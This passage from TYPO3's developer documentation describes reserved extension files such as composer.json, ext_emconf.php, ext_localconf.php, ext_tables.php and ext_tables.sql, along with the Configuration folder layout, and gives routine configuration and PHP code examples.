  3. Any number of additional files for the extension functionality itself.

Reserved file names

Most of these files are not required, except of ext_emconf.php in legacy installations not based on Composer and composer.json in Composer installations installations.

Do not introduce your own files in the root directory of extensions with the name prefix ext_, because that is reserved.

Reserved Folders

In the early days, every extension author baked his own bread when it came to file locations of PHP classes, public web resources and templates.

With the rise of Extbase, a generally accepted structure for file locations inside of extensions has been established. If extension authors stick to this and the other Coding Guidelines, the system helps in various ways. For instance, if putting PHP classes into the Classes/ folder and using appropriate namespaces for the classes, the system will be able to autoload these files.

Extension kickstarters like the EXT:extension_builder will create the correct structure for you.

composer.json

-- required in Composer-based installations

Introduction

Composer is a tool for dependency management in PHP. It allows you to declare the libraries your extension depends on and it will manage (install/update) them for you.

Packagist is the main Composer repository. It aggregates public PHP packages installable with Composer. Composer packages can be published by the package maintainers on Packagist to be installable in an easy way via the composer require command.

About the composer.json file

Including a composer.json is strongly recommended for a number of reasons:

  1. The file composer.json is required for documentation that should appear on docs.typo3.org.

    See Migration: From Sphinx to PHP-based rendering for more information on the necessary changes for rendering of extension documentation.

  2. Working with Composer in general is strongly recommended for TYPO3.

    If you are not using Composer for your projects yet, see Migrate a TYPO3 project to composer in the "Upgrade Guide".

Minimal composer.json

This is a minimal composer.json for a TYPO3 extension:

  • The vendor name is MyVendor.
  • The extension key is my_extension.

Subsequently:

  • The PHP namespace will be \MyVendor\MyExtension
  • The Composer package name will be my-vendor/my-extension
EXT:my_extension/composer.json
{
    "name": "my-vendor/my-extension",
    "type": "typo3-cms-extension",
    "description": "An example extension",
    "license": "GPL-2.0-or-later",
    "require": {
        "typo3/cms-core": "^10.4 || ^11.5"
    },
    "autoload": {
        "psr-4": {
            "MyVendor\\MyExtension\\": "Classes/"
        }
    },
    "extra": {
        "typo3/cms": {
            "extension-key": "my_extension"
        }
    }
}
Copied!

Changed in version 11.4

The ordering of installed extensions and their dependencies are loaded from the composer.json file, instead of ext_emconf.php in Composer-based installations.

Extended composer.json

EXT:my_extension/composer.json
{
    "name": "my-vendor/my-extension",
    "type": "typo3-cms-extension",
    "description": "An example extension",
    "license": "GPL-2.0-or-later",
    "require": {
        "php": "^7.2",
        "typo3/cms-backend": "^10.4 || ^11.5",
        "typo3/cms-core": "^10.4 || ^11.5"
    },
    "require-dev": {
        "typo3/coding-standards": "^0.7.1"
    },
    "authors": [
        {
            "name": "John Doe",
            "role": "Developer",
            "email": "john.doe@example.org",
            "homepage": "https://johndoe.example.org/"
        }
    ],
    "keywords": [
        "typo3",
        "blog"
    ],
    "support": {
        "issues": "https://example.org/my-issues-tracker"
    },
    "funding": [
        {
            "type": "other",
            "url:": "https://example.org/funding/my-vendor"
        }
    ],
    "autoload": {
        "psr-4": {
            "MyVendor\\MyExtension\\": "Classes/"
        }
    },
    "extra": {
        "typo3/cms": {
            "extension-key": "my_extension"
        }
    }
}
Copied!

Properties

name

(required)

The name has the format: <my-vendor>/<dashed extension key>. "Dashed extension key" means that every underscore (_) has been changed to a dash (-). You must be owner of the vendor name and should register it on Packagist. Typically, the name will correspond to your namespaces used in the Classes/ folder, but with different uppercase / lowercase spelling, for example: The PHP namespace \JohnDoe\SomeExtension may be johndoe/some-extension in composer.json.

description

(required)

Description of your extension (1 line).

type

(required)

Use typo3-cms-extension for third-party extensions. This results in the extension to be installed in {web-dir}/typo3conf/ext/ instead of vendor/{vendor}/{package}.

Additionally, typo3-cms-framework is available for system extensions. They will be installed in web-dir/typo3/sysext/.

See typo3/cms-composer-installers (required by typo3/cms-core).

license

(recommended)

Has to be GPL-2.0-only or GPL-2.0-or-later. See: https://typo3.org/project/licenses/.

require

(required)

At least, you will need to require typo3/cms-core in the according version(s). You should add other system extensions and third-party extensions, if your extension depends on them.

In Composer-based installations the loading order of extensions and their dependencies is derived from require and suggest.

suggest

You should add other system extensions and third-party extensions, if your extension has an optional dependency on them.

In Composer-based installations the loading order of extensions and their dependencies is derived from require and suggest.

autoload

(required)

The autoload section defines the namespace/path mapping for PSR-4 autoloading <https://www.php-fig.org/psr/psr-4/>. In TYPO3 we follow the convention that all classes (except test classes) are in the directory Classes/.

extra.typo3/cms.extension-key

(required)

Not providing this property will emit a deprecation notice and will fail in future versions.

Example for extension key my_extension:

Excerpt of EXT:my_extension/composer.json
{
    "extra": {
        "typo3/cms": {
            "extension-key": "my_extension"
        }
    }
}
Copied!

Properties no longer used

replace with typo3-ter vendor name

Excerpt of EXT:my_extension/composer.json
{
    "replace": {
        "typo3-ter/my-extension": "self.version"
    }
}
Copied!

This was used previously as long as the TER Composer Repository was relevant. Since the TER Composer Repository is deprecated, the typo3-ter/* entry within replace is not required.

replace with "ext_key": "self.version"

Excerpt of EXT:my_extension/composer.json
{
    "replace": {
        "ext_key": "self.version"
    }
}
Copied!

This was used previously, but is not compatible with latest Composer versions and will result in a warning using composer validate or result in an error with Composer version 2.0+:

Deprecation warning: replace.ext_key is invalid, it should have a vendor name, a forward slash, and a package name.
The vendor and package name can be words separated by -, . or _. The complete name should match
"^[a-z0-9]([_.-]?[a-z0-9]+)*/[a-z0-9](([_.]?|-{0,2})[a-z0-9]+)*$".
Make sure you fix this as Composer 2.0 will error.
Copied!

See comment on helhum/composer.json and revisions on helhum/composer.json.

More Information

Not TYPO3-specific:

TYPO3-specific:

  • The section on testing (in this manual) contains further information about adding additional properties to composer.json that are relevant for testing.
  • The Composer plugin (not extension) typo3/cms-composer-installers is responsible for TYPO3-specific Composer installation. Reading the README file and source code can be helpful to understand how it works.

ext_conf_template.txt

-- optional

In the ext_conf_template.txt file configuration options for an extension can be defined. They will be accessible in the TYPO3 backend from Settings module.

Syntax

There's a specific syntax to declare these options properly, which is similar to the one used for TypoScript constants (see "Declaring constants for the Constant editor" in Constants section in TypoScript Reference. This syntax applies to the comment line that should be placed just before the constant. Consider the following example (taken from system extension "backend"):

# cat=Login; type=string; label=Logo: If set, this logo will be used instead of...
loginLogo =
Copied!

First a category (cat) is defined ("Login"). Then a type is given ("string") and finally a label, which is itself split (on the colon ":") into a title and a description. The Label should actually be a localized string, like this:

# cat=Login; type=string; label=LLL:EXT:my_extension_key/Resources/Private/Language/locallang_be.xlf:loginLogo
loginLogo =
Copied!

The above example will be rendered like this in the Settings module:

Configuration screen for the backend extension

The configuration tab displays all options from a single category. A selector is available to switch between categories. Inside an option screen, options are grouped by subcategory. At the bottom of the screenshot, the label – split between header and description – is visible. Then comes the field itself, in this case an input, because the option's type is "string".

Available option types

Option type Description
boolean checkbox
color colorpicker
int integer value
int+ positive integer value
integer integer value
offset offset
options option select
small small text field
string text field
user user function
wrap wrap field

Option select can be used as follows:

# cat=basic/enable/050; type=options[label1=value1,label2=value2,value3]; label=MyLabel
myVariable = value1
Copied!

"label1", "label2" and "label3" can be any text string. Any integer or string value can be used on the right side of the equation sign "=".

Where user functions have to be written the following way:

# cat=basic/enable/050; type=user[Vendor\MyExtensionKey\ViewHelpers\MyConfigurationClass->render]; label=MyLabel
myVariable = 1
Copied!

Accessing saved options

When saved in the Settings module, the configuration will be kept in the LocalConfiguration.php file and is available as array $GLOBALS['TYPO3_CONF_VARS']['EXTENSIONS']['my_extension_key'] .

To retrieve the configuration use the API provided by the \TYPO3\CMS\Core\Configuration\ExtensionConfiguration class via constructor injection:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\MyClass;

use TYPO3\CMS\Core\Configuration\ExtensionConfiguration;

final class MyClass
{
    public function __construct(
        private readonly ExtensionConfiguration $extensionConfiguration
    ) {
    }

    public function doSomething()
    {
        // ...

        $myConfiguration = $this->extensionConfiguration
            ->get('my_extension_key');

        // ...
    }
}
Copied!

This will return the whole configuration as an array.

To directly fetch specific values like myVariable from the example above:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\MyClass;

use TYPO3\CMS\Core\Configuration\ExtensionConfiguration;

final class MyClass
{
    public function __construct(
        private readonly ExtensionConfiguration $extensionConfiguration
    ) {
    }

    public function doSomething()
    {
        // ...

        $myVariable = $this->extensionConfiguration
            ->get('my_extension_key', 'myVariable');

        // ...
    }
}
Copied!

Nested structure

You can also define nested options using the TypoScript notation:

EXT:some_extension/ext_conf_template.txt
directories {
   # cat=basic/enable; type=string; label=Path to the temporary directory
   tmp =
   # cat=basic/enable; type=string; label=Path to the cache directory
   cache =
}
Copied!

This will result in a multidimensional array:

Example output of method ExtensionConfiguration->get()
$extensionConfiguration['directories']['tmp']
$extensionConfiguration['directories']['cache']
Copied!

ext_emconf.php

-- required in legacy installations

The ext_emconf.php is used in legacy installations not based on Composer to supply information about an extension in the Admin Tools > Extensions module. In these installations the ordering of installed extensions and their dependencies are loaded from this file as well.

It is also needed for Writing functional tests with the typo3/testing-framework <https://github.com/TYPO3/testing-framework> in v8 and earlier.

Changed in version 11.4

In Composer-based installations, the ordering of installed extensions and their dependencies is loaded from the composer.json file, instead of ext_emconf.php

The only content included is an associative array, $EM_CONF[extension key]. The keys are described in the table below.

This file is overwritten when extensions are imported from the online repository. So do not write your custom code into this file - only change values in the $EM_CONF array if needed.

Example:

<?php
$EM_CONF[$_EXTKEY] = [
    'title' => 'Extension title',
    'description' => 'Extension description',
    'category' => 'plugin',
    'author' => 'John Doe',
    'author_email' => 'john.doe@example.org',
    'author_company' => 'some company',
    'state' => 'stable',
    'clearCacheOnLoad' => 0,
    'version' => '1.0.0',
    'constraints' => [
        'depends' => [
            'typo3' => '11.5.0-11.99.99',
        ],
        'conflicts' => [
        ],
        'suggests' => [
        ],
    ],
];
Copied!

$_EXTKEY is set globally and contains the extension key.

Key

Data type

Description

title

string, required

The name of the extension in English.

description

string, required

Short and precise description in English of what the extension does and for whom it might be useful.

version

string

Version of the extension. Automatically managed by extension manager / TER. Format is [int].[int].[int]

category

string

Which category the extension belongs to:

  • be

    Backend (Generally backend-oriented, but not a module)

  • module

    Backend modules (When something is a module or connects with one)

  • fe

    Frontend (Generally frontend oriented, but not a "true" plugin)

  • plugin

    Frontend plugins (Plugins inserted as a "Insert Plugin" content element)

  • misc

    Miscellaneous stuff (Where not easily placed elsewhere)

  • services

    Contains TYPO3 services

  • templates

    Contains website templates

  • example

    Example extension (Which serves as examples etc.)

  • doc

    Documentation (e.g. tutorials, FAQ's etc.)

  • distribution

    Distribution, an extension kickstarting a full site

constraints

array

List of requirements, suggestions or conflicts with other extensions or TYPO3 or PHP version. Here's how a typical setup might look:

EXT:some_extension/ext_emconf.php
'constraints' => [
    'depends' => [
        'typo3' => '11.5.0-12.4.99',
        'php' => '7.4.0-8.1.99'
    ],
    'conflicts' => [
        'templavoilaplus' => ''
    ],
    'suggests' => [
        'news' => '9.0.0-0.0.0'
    ],
]
Copied!
depends
List of extensions that this extension depends on. Extensions defined here will be loaded before the current extension.
conflicts
List of extensions which will not work with this extension.
suggests
List of suggestions of extensions that work together or enhance this extension. Extensions defined here will be loaded before the current extension. Dependencies take precedence over suggestions. Loading order especially matters when overriding TCA or SQL of another extension.

The above example indicates that the extension depends on a version of TYPO3 between 11.4 and 12.4 (as only bug and security fixes are integrated into TYPO3 when the last digit of the version changes, it is safe to assume it will be compatible with any upcoming version of the corresponding branch, thus .99). Also the extension has been tested and is known to work properly with PHP 7.4. and 8.1 It will conflict with "templavoilaplus" (any version) and it is suggested that it might be worth installing "news" (version at least 9.0.0). Be aware that you should add at least the TYPO3 and PHP version constraints to this file to make sure everything is working properly.

For legacy installations, the ext_emconf.php file is the source of truth for required dependencies and the loading order of active extensions.

state

string

Which state is the extension in

  • alpha

    Alpha state is used for very initial work, basically the extension is during the very process of creating its foundation.

  • beta

    Under current development. Beta extensions are functional, but not complete in functionality.

  • stable

    Stable extensions are complete, mature and ready for production environment. Authors of stable extensions carry a responsibility to maintain and improve them.

  • experimental

    Experimental state is useful for anything experimental - of course. Nobody knows if this is going anywhere yet... Maybe still just an idea.

  • test

    Test extension, demonstrates concepts, etc.

  • obsolete

    The extension is obsolete or deprecated. This can be due to other extensions solving the same problem but in a better way or if the extension is not being maintained anymore.

  • excludeFromUpdates

    This state makes it impossible to update the extension through the Extension Manager (neither by the update mechanism, nor by uploading a newer version to the installation). This is very useful if you made local changes to an extension for a specific installation and do not want any administrator to overwrite them.

clearCacheOnLoad

boolean

If set, the extension manager will request all caches (incl. frontend cache) to be cleared when this extension is loaded. If false (default), only the system cache will be cleared.

author

string

Author name

author_email

email address

Author email address

author_company

string

Author company

autoload

array

To get better class loading support for websites in legacy mode the following information can be provided.

Extensions having one folder with classes or single files

Considering you have an Extbase extension (or an extension where all classes and interfaces reside in a Classes folder) or single classes you can add the following to your ext_emconf.php file:

EXT:some_extension/ext_emconf.php
'autoload' => [
   'classmap' => [
      'Classes',
      'a-class.php',
   ]
],
Copied!

Extensions using namespaces

If the extension has namespaced classes following the PSR-4 standard, then you can add the following to your ext_emconf.php file:

EXT:some_extension/ext_emconf.php
'autoload' => [
   'psr-4' => [
      'Vendor\\ExtName\\' => 'Classes'
   ]
],
Copied!

autoload-dev

array

Same as the configuration "autoload" but it is only used if the ApplicationContext is set to Testing.

Deprecated configuration

See older versions of this page.

ext_localconf.php

-- optional

ext_localconf.php is always included in global scope of the script, in the frontend, backend and CLI context.

It should contain additional configuration of $GLOBALS['TYPO3_CONF_VARS'] .

This file contains hook definitions and plugin configuration. It must not contain a PHP encoding declaration.

All ext_localconf.php files of loaded extensions are included right after the files typo3conf/LocalConfiguration.php and typo3conf/AdditionalConfiguration.php during TYPO3 bootstrap.

Pay attention to the rules for the contents of these files. For more details, see the section below.

Should not be used for

While you can put functions and classes into ext_localconf.php, it considered bad practice because such classes and functions would always be loaded. Move such functionality to services or utility classes instead.

Registering hooks, XCLASSes or any simple array assignments to $GLOBALS['TYPO3_CONF_VARS'] options will not work for the following:

  • class loader
  • package manager
  • cache manager
  • configuration manager
  • log manager (= Logging Framework)
  • time zone
  • memory limit
  • locales
  • stream wrapper
  • error handler

This would not work because the extension files ext_localconf.php are included ( loadTypo3LoadedExtAndExtLocalconf) after the creation of the mentioned objects in the Bootstrap class.

In most cases, these assignments should be placed in typo3conf/AdditionalConfiguration.php.

Example:

Register an exception handler:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['debugExceptionHandler'] =
    \Vendor\Ext\Error\PostExceptionsOnTwitter::class;
Copied!

Deprecated since version 11.5

Should be used for

These are the typical functions that extension authors should place within file:ext_localconf.php

  • Registering hooks, XCLASSes or any simple array assignments to $GLOBALS['TYPO3_CONF_VARS'] options
  • Registering additional Request Handlers within the Bootstrap
  • Adding any page TSconfig
  • Adding any user TSconfig
  • Adding default TypoScript via \TYPO3\CMS\Core\Utility\ExtensionManagementUtility APIs
  • Registering Scheduler Tasks
  • Adding reports to the reports module
  • Registering Services via the Service API

Examples

Put a file called ext_localconf.php in the main directory of your Extension. It does not need to be registered anywhere but will be loaded automatically as soon as the extension is installed. The skeleton of the ext_localconf.php looks like this:

EXT:site_package/ext_localconf.php
<?php
// all use statements must come first
use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

// Prevent Script from being called directly
defined('TYPO3') or die();

// encapsulate all locally defined variables
(function () {
    // Add your code here
})();
Copied!

Read why the check for the TYPO3 constant is necessary.

Adding default page TSconfig

Default page TSconfig can be added inside ext_localconf.php, see Setting the Page TSconfig globally:

EXT:site_package/ext_localconf.php
//use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

ExtensionManagementUtility::addPageTSConfig();
Copied!

Page TSconfig available via static files can be added inside Configuration/TCA/Overrides/pages.php, see Static Page TSconfig:

EXT:site_package/Configuration/TCA/Overrides/pages.php
ExtensionManagementUtility::registerPageTSConfigFile();
Copied!

Adding default user TSconfig

As for default page TSconfig, user TSconfig can be added inside ext_localconf.php, see: Setting default user TSconfig:

EXT:site_package/ext_localconf.php
//use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

ExtensionManagementUtility::addUserTSConfig();
Copied!

ext_tables.php

-- optional

ext_tables.php is not always included in the global scope of the frontend context.

This file is only included when

  • a TYPO3 Backend or CLI request is happening
  • or the TYPO3 Frontend is called and a valid backend user is authenticated

This file usually gets included later within the request and after TCA information is loaded, and a backend user is authenticated.

Should not be used for

Should be used for

These are the typical functions that should be placed inside ext_tables.php

Examples

Put the following in a file called ext_tables.php in the main directory of your extension. The file does not need to be registered but will be loaded automatically:

EXT:site_package/ext_tables.php
<?php
// all use statements must come first
use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

defined('TYPO3') or die();

(function () {
  // Add your code here
})();
Copied!

Registering a backend module

You can register a new backend module for your extension via ExtensionUtility::registerModule():

EXT:my_extension/ext_tables.php
// use TYPO3\CMS\Extbase\Utility\ExtensionUtility;

ExtensionUtility::registerModule(
   'ExtensionName', // Extension Name in CamelCase
   'web', // the main module
   'mysubmodulekey', // Submodule key
   'bottom', // Position
   [
       'MyController' => 'list,show,new',
   ],
   [
       'access' => 'user,group',
       'icon'   => 'EXT:my_extension/ext_icon.svg',
       'labels' => 'LLL:EXT:my_extension/Resources/Private/Language/locallang_statistics.xlf',
   ]
);
Copied!

There is also a possibility to register modules without Extbase, using core functionality only. For more information on backend modules see backend module API.

Allowing a tables records to be added to Standard pages

By default new records of tables may only be added to Sysfolders in TYPO3. If you need to allow new records of your table to be added on Standard pages call:

EXT:site_package/ext_tables.php
// use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

ExtensionManagementUtility::allowTableOnStandardPages(
   'tx_myextension_domain_model_mymodel'
);
Copied!

Read why the check for the TYPO3 constant is necessary.

Registering a scheduler task

Scheduler tasks get registered in the ext_tables.php as well. Note that the Sysext "scheduler" has to be installed for this to work.

EXT:site_package/ext_tables.php
// use TYPO3\CMS\Scheduler\Task\CachingFrameworkGarbageCollectionTask;
// use TYPO3\CMS\Scheduler\Task\CachingFrameworkGarbageCollectionAdditionalFieldProvider;

// Add caching framework garbage collection task
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['scheduler']['tasks'][CachingFrameworkGarbageCollectionTask::class] = array(
     'extension' => 'your_extension_key',
     'title' => 'LLL:EXT:your_extension_key/locallang.xlf:cachingFrameworkGarbageCollection.name',
     'description' => 'LLL:EXT:your_extension_key/locallang.xlf:cachingFrameworkGarbageCollection.description',
     'additionalFields' => \CachingFrameworkGarbageCollectionAdditionalFieldProvider::class
);
Copied!

For more information see the documentation of the Sys-Extension scheduler.

ext_tables.sql

-- optional

The ext_tables.sql file in the root folder of an extension holds additional SQL definition of database tables.

This file should contain a table-structure dump of the tables used by the extension which are not auto-generated. It is used for evaluation of the database structure and is applied to the database when an extension is enabled.

If you add additional fields (or depend on certain fields) to existing tables you can also put them here. In this case insert a CREATE TABLE structure for that table, but remove all lines except the ones defining the fields you need. Here is an example adding a column to the pages table:

CREATE TABLE pages (
    tx_myextension_field int(11) DEFAULT '0' NOT NULL,
);
Copied!

TYPO3 will merge this table definition to the existing table definition when comparing expected and actual table definitions (for example, via the Admin Tools > Maintenance > Analyze Database Structure or the CLI command extension:setup. Partial definitions can also contain indexes and other directives. They can also change existing table fields - but that is not recommended, because it may create problems with the TYPO3 Core and/or other extensions.

The ext_tables.sql file may not necessarily be "dumpable" directly to a database (because of the semi-complete table definitions allowed that define only required fields). But the extension manager or admin tools can handle this.

TYPO3 parses ext_tables.sql files. TYPO3 expects that all table definitions in this file look like the ones produced by the mysqldump utility. Incorrect definitions may not be recognized by the TYPO3 SQL parser or may lead to SQL errors, when TYPO3 tries to apply them. If TYPO3 is not running on MySQL or a directly compatible other DBMS like MariaDB, the system will parse the file towards the target DBMS like PostgreSQL or SQLite.

Auto-generated structure

The database schema analyzer automatically creates TYPO3 "management"-related database columns by reading a table's TCA and checking the Table properties (ctrl) section for table capabilities. Field definitions in ext_tables.sql take precedence over automatically generated fields, so the TYPO3 Core never overrides a manually specified column definition from an ext_tables.sql file.

These columns below are automatically added if not defined in ext_tables.sql for database tables that provide a $GLOBALS['TCA'] definition:

uid and PRIMARY KEY
If the uid field is not provided inside the ext_tables.sql file, the PRIMARY KEY constraint must be omitted, too.
pid and KEY parent
The column pid is unsigned, if the table is not workspace-aware, the default index parent includes pid and hidden as well as deleted, if the latter two are specified in TCA's Table properties (ctrl). The parent index creation is only applied, if the column pid is auto-generated, too.

The following $GLOBALS['TCA']['ctrl'] are considered for auto-generated fields, if they are not manually defined in the ext_tables.sql file:

['ctrl']['tstamp'] = 'my_field_name'
Often set to tstamp or updatedon.
['ctrl']['cruser_id'] = 'my_field_name'
Often set to sql:cruser or sql:createdby
['ctrl']['delete'] = 'my_field_name'
Often set to deleted.
['ctrl']['enablecolumns']['disabled'] = 'my_field_name'
Often set to hidden or disabled.
['ctrl']['enablecolumns']['starttime'] = 'my_field_name'
Often set to starttime.
['ctrl']['enablecolumns']['endtime'] = 'my_field_name'
Often set to endtime.
['ctrl']['enablecolumns']['fe_group'] = 'my_field_name'
Often set to fe_group.
['ctrl']['sortby'] = 'my_field_name'
Often set to sorting.
['ctrl']['descriptionColumn'] = 'my_field_name'
Often set to description.
['ctrl']['editlock'] = 'my_field_name'
Often set to editlock.
['ctrl']['languageField'] = 'my_field_name'
Often set to sys_language_uid.
['ctrl']['transOrigPointerField'] = 'my_field_name'
Often set to l10n_parent.
['ctrl']['translationSource'] = 'my_field_name'
Often set to l10n_source.
l10n_state
Column added if ['ctrl']['languageField'] and ['ctrl']['transOrigPointerField'] are set.
['ctrl']['origUid'] = 'my_field_name'
Often set to t3_origuid.
['ctrl']['transOrigDiffSourceField'] = 'my_field_name'
Often set to l10n_diffsource.
['ctrl']['versioningWS'] = true and t3ver_* columns
Columns that make a table workspace-aware. All those fields are prefixed with t3ver_, for example t3ver_oid. A default index named t3ver_oid to fields t3ver_oid and t3ver_wsid is added, too.

The following $GLOBALS['TCA'][$table]['columns'][$field]['config'] are considered for auto-generated fields, if they are not manually defined in the ext_tables.sql file:

['config']['MM']

CREATE TABLE definitions for intermediate tables referenced by TCA table columns should not be defined manually in the ext_tables.sql file:

ext_tables_static+adt.sql

Static SQL tables and their data.

If the extension requires static data you can dump it into an SQL file by this name. Example for dumping MySQL/MariaDB data from shell (executed in the extension's root directory):

mysqldump --user=[user] --password [database name] \
          [tablename] > ./ext_tables_static+adt.sql
Copied!

Note that only INSERT INTO statements are allowed. The file is interpreted whenever the corresponding extension's setup routines get called: Upon first time installation, command task execution of bin/typo3 extension:setup or via the Admin Tools > Extensions interface and the Reload extension data action. The static data is then only re-evaluated, if the file has different contents than on the last execution. In that case, the table is truncated and the new data imported.

The table structure of static tables must be declared in the ext_tables.sql file, otherwise data cannot be added to a static table.

ext_typoscript_setup.typoscript

Preset TypoScript setup. Will be included in the setup section of all TypoScript templates.

Classes

Contains all PHP classes. One class per file. Should have sub folders like Controller/, Domain/, Service/ or View/. For more details on class file namings and PHP namespaces, see chapter namespaces.

Classes/Controller
Contains MVC Controller classes.
Classes/Domain/Model
Contains MVC Domain model classes.
Classes/Domain/Repository
Contains data repository classes.
Classes/ViewHelpers
Helper classes used in (Fluid) views.

Configuration

The folder EXT:my_extension/Configuration/ may contain configuration of different types.

Some of the sub directories in here have reserved names with special meanings.

All files in this directory and in the sub directories TCA and : file:Backend are automatically included during the TYPO3 bootstrap.

The following files and folders are commonly found in the Configuration folder:

Common content of the configuration folder
$ tree public/typo3conf/ext/my_extension/Configuration/
├── Backend
│    ├── AjaxRoutes.php
│    └── Routes.php
├── Extbase
│    └── Persistence
│         └── Classes.php
├── FlexForms
│    ├── MyFlexForm1.xml
│    ├── ...
│    └── MyFlexFormN.xml
├── RTE
│    └── MyRteConfig.yaml
├── TCA
│    ├── Overrides
│    │    ├── pages.php
│    │    ├── sys_template.php
│    │    ├── tt_content.php
│    │    ├── ...
│    │    └── tx_otherextension_sometable.php
│    ├── tx_myextension_domain_model_something.php
│    ├── ...
│    └── tx_myextension_sometable.php
├── TsConfig
│    ├── Page
│    └── User
├── TypoScript
│    ├── Subfolder1
│    ├── ...
│    ├── constants.typoscript
│    └── setup.typoscript
├── Yaml
│    ├── MySpecialConfig.yaml
│    └── MyFormSetup.yaml
├── Icons.php
├── page.tsconfig
├── RequestMiddlewares.php
└── Services.yaml
Copied!

Sub folders of Configuration

Files directly under Configuration

Backend

The folder EXT:my_extension/Configuration/Backend/ may contain configuration that is important within the TYPO3 Backend.

All files in this directory are automatically included during the TYPO3 bootstrap.

AjaxRoutes.php

Complete path: EXT:my_extension/Configuration/Backend/AjaxRoutes.php

In this file routes for Ajax requests that should be used in the backend can be defined.

Read more about Using Ajax in the backend.

EXT:my_extension/Configuration/Backend/AjaxRoutes.php
<?php
return [
    'example_dosomething' => [
        'path' => '/example/do-something',
        'target' => \Vendor\MyExtension\Controller\ExampleController::class . '::doSomethingAction',
    ],
];
Copied!

Routes.php

Complete path: EXT:my_extension/Configuration/Backend/Routes.php

This file maps from paths used in the backend to the controller that should be used.

Most backend routes defined in the TYPO3 core can be found in the following file, which you can use as example:

EXT:backend/Configuration/Backend/Routes.php (GitHub)

Read more about Backend routing.

Extbase

This configuration folder can contain the following subfolders:

Sub folders of Configuration/Extbase

Persistence

This folder can contain the following files:

Classes.php

In the file EXT:my_extension/Configuration/Extbase/Persistence/Classes.php the mapping between a database table and its model can be configured. The mapping in this file overrides the automatic mapping by naming convention.

TCA

The folder EXT:my_extension/Configuration/TCA/ may contain or override TCA (TYPO3 configuration array) data.

All files in this directory are automatically included during the TYPO3 bootstrap.

<tablename>.php

One file per database table, using the name of the table for the file, plus ".php". Only for new tables.

Overrides

For extending existing tables.

General advice: One file per database table, using the name of the table for the file, plus .php. For more information, see the chapter Extending the TCA array.

TsConfig

Configuration/TsConfig/Page
page TSconfig, see chapter 'page TSconfig' in the TSconfig Reference. Files should have the file extension .tsconfig.
Configuration/TsConfig/User
User TSconfig, see chapter 'user TSconfig' in the TSconfig Reference. Files should have the file extension .tsconfig.

TypoScript

By convention all TypoScript, that can be included manually, should be stored in the folder EXT:my_extension/Configuration/TypoScript/.

TypoScript constants should be stored in a file called constants.typoscript and TypoScript setup in a file called setup.typoscript.

TypoScript folder
$ tree public/typo3conf/ext/my_extension/Configuration/TypoScript/
├── constants.typoscript
└── setup.typoscript
Copied!

These two files will be included via ExtensionManagementUtility::addStaticFile in the file Configuration/TCA/Overrides/sys_template.php:

EXT:my_extension/Configuration/TCA/Overrides/sys_template.php
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addStaticFile(
    'my_extension',
    'Configuration/TypoScript/',
    'Examples TypoScript'
);
Copied!

If there should be more then one set of TypoScript templates that may be included, you can use store them in sub folders.

If your TypoScript is complex and you need to break it up into several files you should use the ending .typoscript for these files.

TypoScript folder, extended
$ tree public/typo3conf/ext/my_extension/Configuration/TypoScript/
├── Example1
│    ├── constants.typoscript
│    └── setup.typoscript
├── SpecialFeature2
│    ├── Setup
│    │    ├── SomeIncludes.typoscript
│    │    └── OtherIncludes.typoscript
│    ├── constants.typoscript
│    └── setup.typoscript
├── constants.typoscript
└── setup.typoscript
Copied!

In this case ExtensionManagementUtility::addStaticFile needs to be called for each folder that should be available in the TypoScript template record:

EXT:my_extension/Configuration/TCA/Overrides/sys_template.php
\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addStaticFile(
    'my_extension',
    'Configuration/TypoScript/',
    'My Extension - Main TypoScript'
);

\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addStaticFile(
    'my_extension',
    'Configuration/TypoScript/Example1/',
    'My Extension - Additional example 1'
);

\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addStaticFile(
    'my_extension',
    'Configuration/TypoScript/SpecialFeature2/',
    'My Extension - Some special feature'
);
Copied!

Icons.php

In this file custom Icons can be registered in the IconRegistry.

See the Icon API for details.

EXT:my_extension/Configuration/Icons.php
<?php
   return [
       // icon identifier
       'mysvgicon' => [
            // icon provider class
           'provider' => \TYPO3\CMS\Core\Imaging\IconProvider\SvgIconProvider::class,
            // the source SVG for the SvgIconProvider
           'source' => 'EXT:my_extension/Resources/Public/Icons/mysvg.svg',
       ],
       'mybitmapicon' => [
           'provider' => \TYPO3\CMS\Core\Imaging\IconProvider\BitmapIconProvider::class,
            // the source bitmap file
           'source' => 'EXT:my_extension/Resources/Public/Icons/mybitmap.png',
       ],
       'myfontawesomeicon' => [
           'provider' => \TYPO3\CMS\Core\Imaging\IconProvider\FontawesomeIconProvider::class,
            // the fontawesome icon name
           'name' => 'spinner',
            // all icon providers provide the possibility to register an icon that spins
           'spinning' => true,
       ],
   ];
Copied!

RequestMiddlewares.php

Full path to this file is: Configuration/RequestMiddlewares.php.

Configuration of user-defined middlewares for frontend and backend. Extensions that add middlewares or disable existing middlewares configure them in this file. The file must return an array with the configuration.

See Configuring middlewares for details.

EXT:some_extension/Configuration/RequestMiddlewares.php
return [
    'frontend' => [
        'middleware-identifier' => [
            'target' => \Vendor\SomeExtension\Middleware\ConcreteClass::class,
            'before' => [
                'another-middleware-identifier',
            ],
            'after' => [
                'yet-another-middleware-identifier',
            ],
        ],
    ],
    'backend' => [
        'middleware-identifier' => [
            'target' => \Vendor\SomeExtension\Middleware\AnotherConcreteClass::class,
            'before' => [
                'another-middleware-identifier',
            ],
            'after' => [
                'yet-another-middleware-identifier',
            ],
        ],
    ],
];
Copied!

Services.yaml

Services can be configured in this file. TYPO3 uses it for:

EXT:my_extension/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false

  T3docs\Examples\:
    resource: '../Classes/*'
    exclude: '../Classes/Domain/Model/*'

  MyVendor\MyExtension\LinkValidator\LinkType\ExampleLinkType:
    tags:
      -  name: linkvalidator.linktype
Copied!

Documentation

